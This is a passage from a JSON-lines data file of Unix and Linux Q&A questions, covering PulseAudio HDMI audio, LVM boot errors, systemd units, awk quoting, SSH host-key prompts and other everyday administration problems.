always work)"} {"_id": "143865", "title": "How to enable both built-in audio output and HDMI audio output with PulseAudio?", "text": "I've been searching for this issue for days now and tried various solutions suggested, without any success. Basically, I have a laptop with built-in audio (the output goes either to the headphone jack or to the built-in speaker) and HDMI. I'm running Debian 7.5 with KDE. Previously, I was running ALSA only and I was able to configure Skype to ring on the HDMI, but use the headphones for the calls themselves. I'd like to achieve something similar using Pulse. I'm not sure if Skype still separates ringing and call audio when it sends them to PulseAudio, but as the Linux version of Skype can run arbitrary scripts on events, I would be happy if I could use e.g. `aplay` to play something on the HDMI port. However, whatever I do, I always see (and can use) a single output device only. `aplay -l`: **** List of PLAYBACK Hardware Devices **** card 0: PCH [HDA Intel PCH], device 0: ALC269VB Analog [ALC269VB Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 card 0: PCH [HDA Intel PCH], device 3: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 `aplay -L`: default Playback/recording through the PulseAudio sound server sysdefault:CARD=PCH HDA Intel PCH, ALC269VB Analog Default Audio Device front:CARD=PCH,DEV=0 HDA Intel PCH, ALC269VB Analog Front speakers surround40:CARD=PCH,DEV=0 HDA Intel PCH, ALC269VB Analog 4.0 Surround output to Front and Rear speakers surround41:CARD=PCH,DEV=0 HDA Intel PCH, ALC269VB Analog 4.1 Surround output to Front, Rear and Subwoofer speakers surround50:CARD=PCH,DEV=0 HDA Intel PCH, ALC269VB Analog 5.0 Surround output to Front, Center and Rear speakers surround51:CARD=PCH,DEV=0 HDA Intel PCH, ALC269VB Analog 5.1 Surround output to Front, Center, Rear and Subwoofer speakers surround71:CARD=PCH,DEV=0 HDA Intel PCH, ALC269VB Analog 7.1 Surround output to Front, Center, Side, Rear and Woofer speakers hdmi:CARD=PCH,DEV=0 HDA Intel PCH, HDMI 0 HDMI Audio Output When I try to use the hdmi device directly, I get the following error: $ aplay -D hdmi alert.wav Playing WAVE 'alert.wav' : Signed 16 bit Little Endian, Rate 22050 Hz, Mono aplay: set_params:1087: Channels count non available In `pavucontrol`, under the Configuration tab, I see a `Profile` drop-down with the following options: Analog Stereo Duplex Analog Stereo Output Analog Stereo (HDMI) Output + Analog Stereo Input Analog Stereo (HDMI) Output Analog Stereo Input Off As far as I can tell, all of these work as (probably) expected: the ones that say HDMI will direct audio output to the HDMI port; the others to the built-in audio card. No matter which one I select, I always see a single output device only under the Output Devices tab. I've tried adding either the built-in or the HDMI device to `/etc/pulse/default.pa` using `load-module module-alsa-sink device=hw:0,0` and `load-module module-alsa-sink device=hw:0,3` - these either seemed to have no effect, or made pulseaudio not display any profiles at all."} {"_id": "143861", "title": "How do I resolve an error when booting, \"Couldn't find device with UUID....\"", "text": "I have a RHEL 6 system, running on a VMWare machine. The admin of the VM server added a second RAID volume to the server, which my RHEL system does not use. Now, when I boot the RHEL system, I get a kernel fault. If reboot without the graphical boot screen, I see these errors: dracut Warning: LVM vg_mdxinfalf02/lv_swap not found I'm not sure if this is tied to the added RAID volume or if the reboot somehow caused the issue. How do I resolve this? I ran the lvm command and when I do `pvscan`, I see: Couldn't find device with uuid a30bfw-... PV /dev/sda2 VG vg_mdxinfalf02 lvm2 [19.51 GiB / 0 free] PV unknown device VG vg_mdxinfalf02 lvm2 [80.00 GiB / 0 free] `fstab`: /dev/mapper/vg_mdxinfalf02-lv_root / ext4 defaults 1 1 UUID=48075904-965f-4aad-8cad-369469dcf0f2 /boot ext4 defaults 1 2 /dev/vg_mdxinfalf02/lv_data /var/jenkins ext3 defaults 0 0 tempfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts gid=5,mode=620 0 0 sysfs /sys sysfs defaults 0 0 proc /proc proc defaults 0 0 `blkid`: dracut:/# blkid /dev/sda1: UUID=\"48075904-965f-4aad-8cad-369649dcf0f2\" TYPE=\"ext4\" /dev/sda2: UUID=\"LJ9wLe-cZZQ-TO8R-tRXl-lJK4-NWoI-mLYfyC\" TYPE=\"LVM2_member\" /dev/mapper/vg_mdxinfalf02-lv_root: UUID=\"50f12dee-1cd8-4a1f-a110-87f246b01cfa\" TYPE=\"ext4\""} {"_id": "137021", "title": "WiFi not working after restoring from hibernation (authentication times out)", "text": "My Intel 6205 wireless network card does not work after hibernating. It sometimes also does not work on boot, failing in the same way. Occasionally, it also stops working after ~10 minutes of continuous use. I have experimented with combinations of: `modprobe -r iwlwifi` before and after hibernating (or when the problem otherwise occurs), followed by `modprobe iwlwifi`; and then `systemctl restart network-manager` and `systemctl restart NetworkManager`. These solutions are what all search results for the symptoms focuses on. What else should I try? Configuration: * Debian Jessie * kernel 3.14.4-1 * networkmanager 0.9.8.10 * Intel 6205 rev 96 (iwlwifi) * Lenovo ThinkPad X1 Carbon > > $ dmesg > wlan0: authenticate with 47:f2:2f:91:db:7b > wlan0: Wrong control channel: center-freq: 5500 ht-cfreq: 5180 > ht->primary_chan: 36 band: 1 - Disabling HT > wlan0: direct probe to 47:f2:2f:91:db:7b (try 1/3) > wlan0: direct probe to 47:f2:2f:91:db:7b (try 2/3) > wlan0: direct probe to 47:f2:2f:91:db:7b (try 3/3) > wlan0: authentication with 47:f2:2f:91:db:7b timed out > wlan0: authenticate with 47:f2:2f:91:db:7b > wlan0: send auth to 47:f2:2f:91:db:7b (try 1/3) > wlan0: send auth to 47:f2:2f:91:db:7b (try 2/3) > wlan0: send auth to 47:f2:2f:91:db:7b (try 3/3) > wlan0: authentication with 47:f2:2f:91:db:7b timed out > # the last 5 messages repeat indefinitely as connection is reattempted >"} {"_id": "137022", "title": "Looping the listing files in UNIX", "text": "I've given the command: ls -lrt and the listed files and directories are: drwxr-xr-x 4 root root 4096 Feb 2 2014 abc drwxr-xr-x 4 root root 4096 Feb 2 2014 cde drwxr-xr-x 4 root root 4096 Feb 2 20014 efg -rwxr-xr-x 4 root root 4096 Feb 2 20014 aaa.txt Now I want to find whether the listed output files are directory or not by using for loop or while loop."} {"_id": "148728", "title": "Using a command's output in printf in ksh", "text": "I am trying to perform the following : printf \"Are you sure you want to copy %s (y/n) ? (file bigger than 10 MB) \" \"$0\" It works fine, nevertheless, I would like to display the actual size of my file, by doing something like : printf \"Are you sure you want to copy %s (y/n) ? (file bigger than 10 MB : %s) \" \"$0\" \"ls -l $0 | awk {'print $5'}\" However, I have a failure by doing so. I guess it is not the right way to do it."} {"_id": "137028", "title": "Why is my Systemd unit loaded, but inactive (dead)?", "text": "I'm trying to set up Graphite on my server. I can start the Carbon Cache daemon no problem with `sudo /opt/graphite/bin/carbon-cache.py start`, but I'm struggling to run it as a Systemd unit. Here's what I have in my service file, `graphite.service`: [Unit] Description=Carbon for Graphite [Service] ExecStart=/opt/graphite/bin/carbon-cache.py start [Install] WantedBy=multi-user.target But when I start the unit I get the following status: $ systemctl status graphite.service * graphite.service - Carbon for Graphite Loaded: loaded (/etc/systemd/system/graphite.service; enabled) Active: inactive (dead) since Fri 2014-06-13 18:44:11 UTC; 2s ago Process: 4525 ExecStart=/opt/graphite/bin/carbon-cache.py start (code=exited, status=0/SUCCESS) Main PID: 4525 (code=exited, status=0/SUCCESS) Jun 13 18:44:11 MEADOW systemd[1]: Started Carbon for Graphite. Journalctl yields no more information. **How should I interpret and debug units with a status of \"inactive (dead)...(code=exited, status=0/SUCCESS)\"?** I've seen failed units before, but this one is successfully loaded yet not running and I don't know what that means."} {"_id": "132211", "title": "Mount iso9660 sd card", "text": "I'd like to mount my sd-card manually, but that doesn't work. [linus@linus_linux-notebook ~]$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 55,9G 0 disk \u251c\u2500sda1 8:1 0 47,7G 0 part / \u2514\u2500sda2 8:2 0 8,2G 0 part [SWAP] sr0 11:0 1 80,2M 0 rom mmcblk0 179:0 0 3,8G 0 disk \u2514\u2500mmcblk0p1 179:1 0 3,8G 0 part [linus@linus_linux-notebook ~]$ sudo mount /dev/mmcblk0p1 /media/sdarch [sudo] password for linus: mount: Falscher Dateisystemtyp, ung\u00fcltige Optionen, der Superblock von /dev/mmcblk0p1 ist besch\u00e4digt, fehlende Kodierungsseite oder ein anderer Fehler In some cases useful info is found in syslog - try dmesg | tail or so. [linus@linus_linux-notebook ~]$ lsblk -f NAME FSTYPE LABEL UUID MOUNTPOINT sda \u251c\u2500sda1 ext4 arch 2f47d944-a40c-4edb-bf81-aa4b978b1a6b / \u2514\u2500sda2 swap swap cb6c3da9-b65a-451b-96a3-2f3697d7afd0 [SWAP] sr0 mmcblk0 iso9660 ARCH_201305 2013-05-01-07-12-33-00 \u2514\u2500mmcblk0p1 iso9660 ARCH_201305 2013-05-01-07-12-33-00 [linus@linus_linux-notebook ~]$ dmesg | tail [ 230.435448] usb 3-5: GSM modem (1-port) converter now attached to ttyUSB1 [ 231.379997] scsi 7:0:0:0: Direct-Access HUAWEI SD Storage 2.31 PQ: 0 ANSI: 2 [ 231.381986] scsi 6:0:0:0: CD-ROM HUAWEI Mass Storage 2.31 PQ: 0 ANSI: 2 [ 231.389964] sd 7:0:0:0: [sdb] Attached SCSI removable disk [ 231.392957] sr0: scsi-1 drive [ 231.393164] sr 6:0:0:0: Attached scsi CD-ROM sr0 [ 243.294429] PPP generic driver version 2.4.2 [ 249.799115] PPP BSD Compression module registered [ 249.805593] PPP Deflate Compression module registered [ 1165.652241] perf samples too long (2502 > 2500), lowering kernel.perf_event_max_sample_rate to 50100"} {"_id": "68684", "title": "starting vim with command substitution", "text": "I am working on a project on two different machines - one running Mac OSX 10.8.3, and one running Red Hat Enterprise Linux. On my Mac, I can do this: vim $(ls -R */*.@(h|cpp) */*/*.@(h|cpp)) and everything works fine. On the Linux box, it fails. All of these work exactly as I expect: ls -R */*.@(h|cpp) */*/*.@(h|cpp) echo $(ls -R */*.@(h|cpp) */*/*.@(h|cpp)) export myfilelist=$(ls -R */*.@(h|cpp) */*/*.@(h|cpp)) echo $myfilelist But vim $(ls -R */*.@(h|cpp) */*/*.@(h|cpp)) produces a set of mangled filenames, e.g. ^[[00m^[[00mevent_builder/include/eb_service.h^[[00m\" [New DIRECTORY] or :ls 1 %a \"^[[00m^[[00mevent_builder/include/eb_service.h^[[00m\" line 1 2 \"^[[00mevent_builder/include/EventBuilder.h^[[00m\" line 0 Does anyone know why?"} {"_id": "68681", "title": "How does having /dev/fd make running shell scripts under sudo safe?", "text": "At the end of the man page for `sudo`, there's the following remark: Running shell scripts via sudo can expose the same kernel bugs that make setuid shell scripts unsafe on some operating systems (if your OS has a /dev/fd/ directory, setuid shell scripts are generally safe). Pretty much everything in that paragraph is obscure to me. In particular, I'd like to learn what the allusion to `/dev/fd` is all about. I tried to guess some possible man pages where I may find this information, but I came up empty. Any suggestions? (Ultimately I'd like to run a few scripts under sudo via cron, if that's possible, but of course I'm concerned about possible security holes in such an unsupervised arrangement.)"} {"_id": "132214", "title": "Could not allocate requested partitions while instaling Scientific Linux", "text": "I am installing Scientific Linux, and I must choose a drive to install it. I have a deleted partition with the size of 150 GB. ![enter image description here](http://i.stack.imgur.com/3Ucfu.jpg) When I select the deleted partition and try to create a partition this happens: ![enter image description here](http://i.stack.imgur.com/evPRO.jpg) > Could not allocate requested partitions: not enough free space on disks. I cannot resolve the problem. Does anybody know what the problem is?"} {"_id": "68683", "title": "Automate input procedure to a binary file", "text": "I have a binary file on Unix, which when executed asks the user for inputs. The inputs to this binary file are given manually. I want to automate the procedure, since I know the inputs already. I can't modify the binary file. How can I do this ? Is this possible via shell script or even with `ant` targets ?"} {"_id": "68682", "title": "Red Hat Enterprise Linux desktop: constant crashing, unusable, what to do", "text": "I'm having constant problems with RHEL recently. My desktop crashes during the day occasionally (once a day roughly) and is hung (black screen) every morning requiring a button-hitting restart. Clicking the \"kernel crash dumps\" menu item does nothing. I'm wondering if it's to do with the latest round of redhat updates but I don't want to just unwind updates on mere suspicion. Anybody else hating Red Hat this week? How can I view the crash dumps? 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Feb 20 12:17:37 EST 2013 x86_64 x86_64 x86_64 GNU/Linux cat /etc/redhat-release Red Hat Enterprise Linux Workstation release 6.4 (Santiago) Already have this installed too: yum install kexec-tools crash kernel-debuginfo kernel-debuginfo-common system-config-kdump Loaded plugins: product-id, refresh-packagekit, rhnplugin, security This system is receiving updates from RHN Classic or RHN Satellite. rhel-x86_64-workstation-6 | 1.8 kB 00:00 Setting up Install Process Package kexec-tools-2.0.0-258.el6.x86_64 already installed and latest version Package crash-6.1.0-1.el6.x86_64 already installed and latest version No package kernel-debuginfo available. No package kernel-debuginfo-common available. Package system-config-kdump-2.0.5-15.el6.noarch already installed and latest version Nothing to do And: grep -v \"#\" /etc/kdump.conf path /var/crash core_collector makedumpfile -c --message-level 1 -d 31"} {"_id": "132219", "title": "How does SSH display the message \"The authenticity of host .. can't be established\"?", "text": "I wanted to trace down the system call used by ssh to output this warning message: > ssh root@abcde The authenticity of host .. can't be established. If the message were sent to stderr or stdout, there would definitely be a system call trace showing ssh `write()` to stderr/stdout. However, there is none. So how does SSH show the warning message on terminal? Does SSH directly manipulate terminal device to display the message, without interacting with stderr/stdout?"} {"_id": "136775", "title": "Bash loop new user", "text": "I have to create 20 users on 10 servers. I want to create a script that will create 20 users for me on the server (that's easy with `useradd`) and encrypt the password. I have my variable `$crypt=perl -e 'print crypt...'` Now I want to create a loop that will create the new users and the password will be set by `$crypt`. How I can do this ?"} {"_id": "136773", "title": "Linux shows one partition but windows shows 4", "text": "I have installed Windows 8 on my laptop and now I want to install Linux Mint 14. I want to use both of them. My disk management in Windows shows as follows: ![picture](http://i.stack.imgur.com/VqVud.jpg). mint4win in linuxmint-14.1-cinnamon-dvd-64bit is used to do the install. Then I shut down Windows and open Linux Mint. However, during the install process a wizard shows the whole hard disk as one partition. I used a DVD an a USB other than mint4win. But it gives the same result. How can I get rid of this?"} {"_id": "154856", "title": "Is there anyway to get the hardware information on a hardware RAID 1 while inside of the OS?", "text": "Is there any way to see the information on a hardware raid while still being in the OS? Things to note: * I am remotely connected to this machine (so I cannot physically see the information of both drives, but I do know that two drives are in this machine) * I cannot reboot this machine as it is in production * This unit was handed off to me, but I can gather more information as needed * GUI: Gnome Version 2.30.0 * OS: Ubuntu 10.04"} {"_id": "48702", "title": "Find word in sentence with Bourne Shell (sh)", "text": "I'm trying to determine if a particular word appears in a sentence using Bourne Shell (sh). For example: #!/bin/bash INPUT='Lorem ipsum dolor sit amet.' if [[ \"$INPUT\" == *dolor* ]] then echo \"So true\" else echo \"Not true\" fi This works in `bash`, but I can't use `bash`, I need something that works in `sh`"} {"_id": "42173", "title": "IP of localhost", "text": "How does a Linux instance determine its IP address? That is, not the 127.0.0.1. Is this stored in file or does ifconfig somehow calculate it at every invocation? I managed to solve it just to show I made an effort, but it is not anything I'd put in a serious application: sudo ifconfig | head -n 2 | tail -n 1 | tr -s \" \" | tr \" \" \":\" | cut -d\":\" -f 4"} {"_id": "91395", "title": "How to force google/youtube searches using the bash?", "text": "I'd like to know how to force the bash to do a Google or Youtube searches (in mozilla) of a given phrase. I'm also interested in a scripts that enters a Youtube video and recognizes if there is an advertisement in the beginning."} {"_id": "106457", "title": "How to make a Torrent client keep the same torrent data for multiple users?", "text": "I'm running Linux Mint with two user accounts. One account has admin priviliges while another is a normal account. If I start a torrent download in admin account I want that to continue even in the other account and vice-versa. So, basically I want a torrent client to have the same app data for both accounts. I'm currently using Ktorrent."} {"_id": "106452", "title": "why updatedb command takes too much time?", "text": "I have read that to run **locate** command on **CYGWIN** first I need to run the following command. updatedb --localpaths=c:/ what this command exactly do as I run this on CYGWIN and it is taking too much time."} {"_id": "91390", "title": "How to store pipe ( | ) in a variable?", "text": "The idea would be to use it as... a pipe in a command. For instance: say there's some kind of long path which has to be retyped again and again, followed by a pipe and a second program, i.e. \"directory1/directory2/direcotry3/file.dat | less -I \" Now i'd like that part to be stored in a variable, so it could be used like this: r=\"directory1/directory2/direcotry3 \\| less -I -p \" $ cat path1/path2/$r Instead, I get cat: invalid option -- I Try `cat --help' for more information. meaning pipe clearly didn't work."} {"_id": "137791", "title": "Remove a particular line no from a text file", "text": "I have .csv file having several lines of data. I have to search for a particular value in the string/record and delete that line itself. eg ; abc.csv col1_id,col2,col3,col4,col5 1000541,aaaa,bbbb,cccc,dddd 1000542,eeee,ffff,gggg,hhhh 1000543,iiii,jjjj,kkkk,llll 1000544,mmmm,nnnn,oooo,pppp i need to search for 1000542 and remove the whole record of that particular line; col1_id,col2,col3,col4,col5 1000541,aaaa,bbbb,cccc,dddd 1000543,iiii,jjjj,kkkk,llll 1000544,mmmm,nnnn,oooo,pppp"} {"_id": "137797", "title": "Running system bash command in PHP script - syntax error: unexpected T_LNUMBER", "text": "If anyone can shed some light on my issue that'd be great. Please don't down- vote me; I'm new to the language and the OS itself and I'm trying my best to research before asking questions, so any positivity is appreciated. Below is an extract from a script that I've written in PHP, but contains a system command that executes in bash. Now, the reason for this is because it allows me to use the awk function which is ideal in the scenario I've been presented with. I'm trying to get the fourth or fifth element of a string (stored in $line), which I then plan to work with. However whenever I execute it with the code below I am presented with the following error: PHP Parse error: syntax error, unexpected T_LNUMBER, expecting T_VARIABLE or '$' in /home/hugh/HughScripts/ParseOutputForFieldsV2.php on line 16 Line 16 is my first system command: system(\"echo \\\"$line\\\" | awk '{$1=$2=$3=$4=\"\"; print $0}'\"); However I'm unsure due to my lack of expertise with both PHP and the system function, what exactly is causing my issue. Can anyone possibly shed some light on it? I've tried researching the problem, however the error is quite generic and my situation is quite unique, as a lot of the 'awk' problems on the web are part of scenario where the person is executing it from the CLI rather than a PHP script. Here's an example of what data would be in the $line variable: Gi1/1 down down Neustar : NX/IB49912 : 1Mbps - Offshore SLA Code below: $skipFirstLine = 1; foreach($outputFile as &$line) { if($skipFirstLine == 0) { if(strpos($line, 'admin down')) { //$fieldamount=system(\"echo \\\"$line\\\" | awk '{ print NF}'\"); //echo $fieldamount; system(\"echo \\\"$line\\\" | awk '{$1=$2=$3=$4=\"\"; print $0}'\"); } else { system(\"echo \\\"$line\\\" | awk '{$1=$2=$3=\"\"; print $0}'\"); } } else { $skipFirstLine = 0; } }"} {"_id": "80384", "title": "Closing lid on Crunchbang", "text": "I'm running Crunchbang on a laptop. I can't seem to find an option to toggle if the laptop goes to sleep when the lid closes. There are certain times where I want to put the laptop away or close it but still have it do some crunching on some long running task. Is there a place to toggle this option?"} {"_id": "137794", "title": "Awk that I am stuck on", "text": "I have a project I am working on for work. The script I am building initially takes two arguments: one is an unique Identifier and the other is for a log file (both strings). Now I have the first part of it done which is parsing for the unique Identifier. But the second part, is parsing for a specific piece of string which is a randomly generated string of numbers and letters. I am using a `awk` statement to get this random string and I have verified that my expression is correct in Rubular. But when I attempt to test the code with more, nothing prints out. Here is what I typed in the command line: awk '/\\s=\\s[a-zA-Z0-9-]+/ {print }' ~/jlog/server.log | more Here is what I have in my script: for j in $(cat ~/jlog/\"$2\"); do awk '/'\"$1\"'/\\s=\\s[a-zA-Z0-9-]+/ {print}' And here a piece of the log I am parsing through: 2014-06-17 15:34:52,406 INFO [random.random.xxx.message.Random] Processed instance (1.2.840.113619.2.284.3.2013961368.890.1402186239.15 5/1.2.840.113619.2.80.1944071037.22604.1402323463.136) from random@email.com to Random_AE. AssociationID = 9eddb1b0-368e-4fb9-a684-44cc14be389c I am looking specifically for the random code after the Association ID. Is there any suggestions on how to display the results? I am fresh out of ideas."} {"_id": "83475", "title": "less or more - which to use when?", "text": "`less` and `more` seem to have very similar functionality in that they both page through text a screen at a time. What reasons are there to use one over the other?"} {"_id": "607", "title": "Good distro for a VM?", "text": "I want a lightweight Linux VM that I can run with VirtualBox on Windows so I can test how to deploy PHP apps, Mono apps, etc. I don't need the UI and was thinking of going with the Ubuntu server ISO. Is that a good choice? I know I can also download a ready-made VM and it's tempting. What does the community think?"} {"_id": "79796", "title": "Monitoring an under attack Server thorugh a remote endpoint", "text": "I have this Debian server that is constantly under attack as shown in its `/var/log/auth.log` file. I was wondering if there is a best practices of monitoring it through sending all important log files to a remote endpoint via `rsync` or something of the same family. I am pretty sure that there are out there far more experienced *nix admins who probably reached better ideas for doing this hence I am open to all sorts of ideas."} {"_id": "79791", "title": "Moving folders used wrong syntax and lost them", "text": "I thought I was being smart trying to move a folder to one level up by going: mv folder .newfolder and neglecting to even put: mv folder .newfolder/folder and anyway it didn't put up an error but the folders have vanished. Where could they be I wonder?"} {"_id": "23102", "title": "Fedora, CentOS, Ubuntu Linux all are open source linux, but what about when i want to make my own brand from that?", "text": "I have used Fedora/Ubuntu/CentOS all of them, and they are open source linux, free to all users and free to do almost anything. But i do not get this correctly yet. They are open source, and they are free to use, but what happen if i copy there version and make my own brand linux called \"Zyx.\", will i be able to that? I was asked by someone, and i was confused to give correct answer on this, so my question is: \"Is it legal to tell someone, you can use Fedora/Ubuntu/CentOS, if you want to make your own OS, simply build on it and copy it? with your brand name?\""} {"_id": "23106", "title": "Limit process to one cpu core", "text": "How to limit process to one cpu core ? Something similar to `ulimit` or `cpulimit` would be nice. (Just to ensure: I do NOT want to limit percentage usage or time of execution. I want to force app (with all it's children, processes (threads)) to use one cpu core (or 'n' cpu cores))."} {"_id": "23104", "title": "Can't run certain fullscreen applications", "text": "I have a dual screen setup which I've configured by running this command at startup: xrandr --output VGA-0 --auto --right-of DVI-0 I'm running `OpenSuse 11.4` with `dwm` as my window manager. I can post the output of any command or dump any file if you think it will help. The problem happens when I try and run a fullscreen game. My right screen goes black and loses the signal. On the other screen, my resolution goes down and I see a magnified version of the upper left corner of my desktop (the dwm tag bar). I can hear the game audio but I can't see anything other than what I described above. Another important thing is when this happens I need to reboot (or at least restart X) because I get no input and can't close anything. **EDIT 1** 02:00.0 VGA compatible controller: ATI Technologies Inc Juniper [Radeon HD 5750 Series] I'm not sure how I can find what driver I'm using, but I expect it's opensuse's stock driver. When the issue happens, I can't see my mouse at all -- even if I try and move it to the upper left. Pressing `Ctrl+Alt+F1` drops me to a command line login. Once I enter my information I can hear the audio again but I am in still the CLI. `Alt+SysReq+S` does nothing at all. **EDIT 2** After running the game and getting \"locked up\", I hit `Ctrl+Alt+F1` and was brought to a shell. I logged in and ran my display command and received the following error message: X Error of failed request BadMatch (invalid parameter attributes) Major opcode of failed request: 150 (RANDR) Minor opcode of failed request: 7 (RRSetScreenSize) Serial number of failed request: 40 Current serial number in output stream: 41 It looks like it's saying I've mistyped it or something, however I tried a couple times and I'm fairly certain my syntax was correct. I still tried going back to X with `Ctrl+Alt+F7` and I was stuck in the same situation. I then went back to the console and killed the game's process, and went back to X to see what happened. The resolutions and screens were still messed up, however I had mouse and keyboard support and could use my browser."} {"_id": "59434", "title": "why does sudo work on Linux but not Android?", "text": "I have not had the chance to read enough about Android, Linux, or UNIX to answer this myself. `sudo` works on a Linux machine but doesn't work on Android unless you root the mobile device (e.g. Samsung GT-N8013). Why does the mobile device require to be rooted, but not the typical Linux install? * * * The context of my question is related to http://stackoverflow.com/questions/14019698/adb-shell-sudo-on- windows-7/14019726#14019726 (Also, is there any way for a program to ask to run as `root` on Android, the same way you have escalation of privileges to \"run as administrator\" on Windows? If you think this question should be on its own thread, I can create one)"} {"_id": "30818", "title": "awk separate columns of 3", "text": "I have a file that looks like the following (the columns are separated by tabs and might contain spaces): 0637 apple 8528 1392 orange 1390 8528 unknown fruit 7537 1039 banana 1892 0989 pineapple 7537 8528 melon 7537 8528 grape 7537 8528 (null) (null) And I need to split it each 3 columns, grepping the ones that will result in `[0-9]$` (I'm using `awk` because is much faster than grep on large files): 0637 apple 8528 1392 orange 1390 8528 unknown fruit 7537 1039 banana 1892 0989 pineapple 7537 8528 melon 7537 8528 grape 7537 Now, I have this _beautiful_ command that does it: awk -F\\\\t '{print $2 \"\\t\" $3 \"\\t\" $4 \"\\n\" $5 \"\\t\" $6 \"\\t\" $7 \"\\n\" $8 \"\\t\" $9 \"\\t\" $10 \"\\n\" $11 \"\\t\" $12 \"\\t\" $13 \"\\n\" $14 \"\\t\" $15 \"\\t\" $16 \"\\n\" $17 \"\\t\" $18 \"\\t\" $19 \"\\n\" $20 \"\\t\" $21 \"\\t\" $22 \"\\n\" $23 \"\\t\" $24 \"\\t\" $25}' filename | awk '/[0-9]$/' I have also an ugly `cut` command that does the same. I'm still learning awk, so I believe there is a much wiser way to do this. Also, I might **get into trouble if there is more than`$25`**. Can you help me?"} {"_id": "30817", "title": "Arch Linux makepkg failed on compressing package", "text": "I just reinstalled Arch Linux 2010.05 on VPS, and sudo pacman -Syu But when I try to install anything from AUR, makepkg failed on ==> Tidying install... -> Purging unwanted files... -> Compressing man and info pages... -> Stripping unneeded symbols from binaries and libraries... ==> Creating package... -> Generating .PKGINFO file... -> Compressing package... bsdtar: FIEMAP failed: Invalid argument bsdtar: FIEMAP failed: Invalid argument bsdtar: FIEMAP failed: Invalid argument ==> Leaving fakeroot environment."} {"_id": "30816", "title": "Why FOSS 3d performs so badly, compared to proprietary. Trying to understand", "text": "I know this is not the best question, I'm just trying to understand what needs improvement. I just read a Phoronix article, which compared the FOSS radeon drivers a 5 years old FGLRX catalyst. As you would expect FGLRX was multiple times faster, even the feature set was not completely implemented. The big question, not answered in the article, was why? I noticed FGLRX brings its own libGL, does Nvidia do this also? I know hardware registers are not always completely known, and yadda yadda... I still suspect that mesa is not a strong performer. What needs to be done to reach remotely close to catalyst speed? What projects need help? Which ones need to be completely ditched?"} {"_id": "109334", "title": "Can I automate y/N responses while installing?", "text": "When I run installs in Fedora with say `yum groupinstall \"Development Tools\"`, I am sometimes prompted to hit y/N. Can I tell the OS to automatically chose y when such prompts occur? That would let me leave my computer for a while and come back."} {"_id": "30812", "title": "Trying to run oprofile on ubuntu kernel but cannot find vmlinux file", "text": "I am trying to run oprofile on my ubuntu host but cannot find the vmlinux file. The set up sfor oprofile needs this file: As given here : http://oprofile.sourceforge.net/doc/overview.html#getting- started opcontrol --vmlinux=/boot/vmlinux-`uname -r` What should I do so that I can profile the ubuntu kernel. I am using 2.6.32-34-generic-pae (uname -r)"} {"_id": "73833", "title": "Which data should be excluded from log files , error messages etc. if posted online?", "text": "What data should one erase from log files, error messages etc., if posting them as a screenshot so as not to expose sensitive information? As I have little knowledge about this topic, I can vividly imagine somebody exposing oneself in a bad way. My guess, as a newbie, would be the computer's and the user's name. **To narrow down my question** : What should a Linux User be extra aware of hiding if posting screenshots of logfiles, error messages, settings, etc.?"} {"_id": "26887", "title": "lsof and listening ports", "text": "I am trying to get all the processes listening for a network connection on Mac OS X. `netstat` does not have the `-p` option and I am trying with lsof lsof -i -sTCP:LISTEN gives me a fair list of listening processes but not all. I can for example telnet to port 10080 where I have a process listening for a connection but this is not shown in the output of `lsof`. What am I missing? $ telnet localhost 10080 Trying ::1... Connected to localhost. Escape character is '^]'. ^] telnet> Connection closed. but $ sudo lsof -n -i | grep 10080 $"} {"_id": "29674", "title": "libstdc++.so.3 => not found on CloudLinux, no SuperUser permissions, seemingly in chroot.", "text": "I am trying to install the Linux x64 BOINC command-line interface client on a CloudLinux machine with x86_64 Architecture. When I try to run the executable I get an error: > ./boinc: error while loading shared libraries: libstdc++.so.3: cannot open > shared object file: No such file or directory When I do ldd of the boinc executable I find: > > libstdc++.so.3 => not found > When I do yum install compat-libstdc++-33 I get > CRITICAL:yum.cli:Config Error: Error accessing file for config > file:///etc/yum.conf I don't have access to any form of superuser permissions, My account is very likely to be in a chroot. How can I get my client running?"} {"_id": "73846", "title": "Where to put generated certicate for user", "text": "I was following this tutorial and I want to implement mutual authentication between server and client, where server and CA (certificate authority) is the same thing. I reached the last step and I don't know where to put the device certificate. > The process for creating your own certificate authority is pretty straight > forward > > 1. Create a private key > 2. Self-sign > 3. Install root CA on your various workstations > > > Once you do that, every device that you manage via HTTPS just needs to have > its own certificate created with the following steps: > > 1. Create CSR for device > 2. Sign CSR with root CA key > I can't access server now with https, I have to do something that is not written in the article. Please help."} {"_id": "73837", "title": "can someone fix my PS1 for bash", "text": "I seem to have too many colour escapes so it only works in some prompts - can someone please correct for me ? PS1='\\[\\e[0:35m[\\u@\\e[0:33m\\h\\e[m \\e[0:35m\\w]\\e[m \\e[0:33m`git branch 2> /dev/null | grep -e ^* | sed -E s/^\\\\\\\\\\*\\ \\(.+\\)$/\\(\\\\\\\\\\1\\)\\ /`\\e[m\\] \\n$ '"} {"_id": "29671", "title": "How can I convert a .cue / .bin ( with cdr tracks) image into a single .iso file?", "text": "The title is descriptive as is: How can I convert a .cue / .bin (cdr track) image into a single .iso file? I have Fedora 16 (x86-64) Linux 3.1.9-1.fc16.x86_64 #1 SMP Fri Jan 13 16:37:42 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux"} {"_id": "73835", "title": "Akonadi floods my .xsession-errors", "text": "I am seeing tons of these error in my .xsession-errors: krunner(8135)/libakonadi Akonadi::SessionPrivate::socketError: Socket error occurred: \"QLocalSocket::connectToServer: Connection refused\" This akonadi/nepomuk thingy has always been a mystery to me. I never asked for it and yet it is on my computer, meesing up my logfiles. Ideally I would like to get rid of it. My questions are * What do I have to do in order to get rid of akonadi and nepomuk * what are these guy supposed to do anyways? * what would I loose when I got rid of them * in case they do something useful, do have any ideas how I can avaoid the error message above"} {"_id": "73838", "title": "`cp` permission denied when copy a file owned by `root`", "text": "I have a folder `udp_folder2` d------r-T 41 root root 4096 Apr 26 21:17 udp_folder2 when I'm with user other than `root`, I can't `cp -r` it into a new folder it says: Permission denied why? and how can I copy it with a user other than `root`"} {"_id": "26888", "title": "Applying an IO redirection&audio device example in Fedora", "text": "Here is an example I saw in a webpage which uses IO redirection to make the audio device make sound. less sound.wav > /dev/audio But I cannot do it in Fedora. It outputs the input data format is wrong. Any hint?"} {"_id": "31149", "title": "How to find Nautilus wastebasket in the file system", "text": "It looks like I can get to the 